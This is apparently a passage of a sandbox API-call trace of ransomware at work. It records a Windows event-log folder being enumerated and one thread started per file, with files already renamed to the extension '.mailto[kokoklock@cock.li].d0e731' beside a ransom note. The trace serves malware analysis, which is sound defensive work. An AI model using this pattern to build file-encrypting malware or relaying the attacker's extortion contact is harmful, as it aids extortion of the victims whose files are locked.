ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dc5b7e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="APPLIC~1.D0E")) returned 1 [0163.759] wcscmp (_String1="Application.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.759] wcscmp (_String1="Application.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.759] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8ae90 [0163.759] wcscpy (in: _Dest=0x2f8ae90, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.760] wcscat (in: _Dest=0x2f8ae90, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.760] wcscat (in: _Dest=0x2f8ae90, _Source="Application.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Application.evtx.mailto[kokoklock@cock.li].d0e731" [0163.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8ae90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0163.798] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dc5b7e1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x7dc5b7e1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x7dc5b7e1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0163.798] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0163.798] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0163.798] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dc8090f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="HARDWA~1.D0E")) returned 1 [0163.798] wcscmp (_String1="HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.798] wcscmp (_String1="HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.798] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7a) returned 0x2f6c5c8 [0163.798] wcscpy (in: _Dest=0x2f6c5c8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.798] wcscat (in: _Dest=0x2f6c5c8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.798] wcscat (in: _Dest=0x2f6c5c8, _Source="HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\HardwareEvents.evtx.mailto[kokoklock@cock.li].d0e731" [0163.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6c5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0163.799] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dca6a2d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="INTERN~1.D0E")) returned 1 [0163.799] wcscmp (_String1="Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.799] wcscmp (_String1="Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.799] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x80) returned 0x2f67db0 [0163.799] wcscpy (in: _Dest=0x2f67db0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.799] wcscat (in: _Dest=0x2f67db0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.799] wcscat (in: _Dest=0x2f67db0, _Source="Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Internet Explorer.evtx.mailto[kokoklock@cock.li].d0e731" [0163.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f67db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0163.799] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dcf2eb6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="KEYMAN~1.D0E")) returned 1 [0163.799] wcscmp (_String1="Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.799] wcscmp (_String1="Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f8d860 [0163.800] wcscpy (in: _Dest=0x2f8d860, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.800] wcscat (in: _Dest=0x2f8d860, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.800] wcscat (in: _Dest=0x2f8d860, _Source="Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Key Management Service.evtx.mailto[kokoklock@cock.li].d0e731" [0163.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0163.800] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dd19196, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICROS~1.D0E")) returned 1 [0163.800] wcscmp (_String1="Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.800] wcscmp (_String1="Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f6bff8 [0163.800] wcscpy (in: _Dest=0x2f6bff8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.800] wcscat (in: _Dest=0x2f6bff8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.801] wcscat (in: _Dest=0x2f6bff8, _Source="Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6bff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0163.801] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dd655bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICROS~2.D0E")) returned 1 [0163.801] wcscmp (_String1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.801] wcscmp (_String1="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.801] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x2f95af8 [0163.801] wcscpy (in: _Dest=0x2f95af8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.801] wcscat (in: _Dest=0x2f95af8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.801] wcscat (in: _Dest=0x2f95af8, _Source="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" [0163.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f95af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0163.802] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f1309fa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI6D01~1.D0E")) returned 1 [0163.802] wcscmp (_String1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.802] wcscmp (_String1="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.802] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2f6ab60 [0163.802] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.802] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.802] wcscat (in: _Dest=0x2f6ab60, _Source="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0163.803] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7debccb1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICROS~4.D0E")) returned 1 [0163.803] wcscmp (_String1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.803] wcscmp (_String1="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.803] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x2f83960 [0163.803] wcscpy (in: _Dest=0x2f83960, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.803] wcscat (in: _Dest=0x2f83960, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.803] wcscat (in: _Dest=0x2f83960, _Source="Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.mailto[kokoklock@cock.li].d0e731" [0163.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0163.804] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7debccb1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI56F3~1.D0E")) returned 1 [0163.804] wcscmp (_String1="Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.804] wcscmp (_String1="Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f96220 [0163.804] wcscpy (in: _Dest=0x2f96220, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.804] wcscat (in: _Dest=0x2f96220, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.804] wcscat (in: _Dest=0x2f96220, _Source="Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.mailto[kokoklock@cock.li].d0e731" [0163.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0163.804] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7debccb1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIFDA8~1.D0E")) returned 1 [0163.804] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.804] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc6) returned 0x2f88710 [0163.804] wcscpy (in: _Dest=0x2f88710, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.804] wcscat (in: _Dest=0x2f88710, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.804] wcscat (in: _Dest=0x2f88710, _Source="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.mailto[kokoklock@cock.li].d0e731" [0163.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f88710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0163.805] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7debccb1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIA122~1.D0E")) returned 1 [0163.805] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.805] wcscmp (_String1="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.805] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2f88d90 [0163.805] wcscpy (in: _Dest=0x2f88d90, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.805] wcscat (in: _Dest=0x2f88d90, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.805] wcscat (in: _Dest=0x2f88d90, _Source="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.mailto[kokoklock@cock.li].d0e731" [0163.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f88d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8 [0163.806] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7de9692a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MICROS~3.D0E")) returned 1 [0163.806] wcscmp (_String1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.806] wcscmp (_String1="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.806] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83680 [0163.806] wcscpy (in: _Dest=0x2f83680, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.806] wcscat (in: _Dest=0x2f83680, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.806] wcscat (in: _Dest=0x2f83680, _Source="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0163.807] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7df08f4d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI3C55~1.D0E")) returned 1 [0163.807] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.807] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.807] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6e1e0 [0163.807] wcscpy (in: _Dest=0x2f6e1e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.807] wcscat (in: _Dest=0x2f6e1e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.807] wcscat (in: _Dest=0x2f6e1e0, _Source="Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e1e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0163.807] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f14fbb7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x111100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI2BA7~1.D0E")) returned 1 [0163.807] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.807] wcscmp (_String1="Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.807] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f962e0 [0163.807] wcscpy (in: _Dest=0x2f962e0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.808] wcscat (in: _Dest=0x2f962e0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.808] wcscat (in: _Dest=0x2f962e0, _Source="Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f962e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0163.808] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7dfa19a8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI6985~1.D0E")) returned 1 [0163.808] wcscmp (_String1="Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.808] wcscmp (_String1="Microsoft-Windows-AppXDeployment%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.808] RtlAllocateHeap (HeapHandle=0x2f60000, 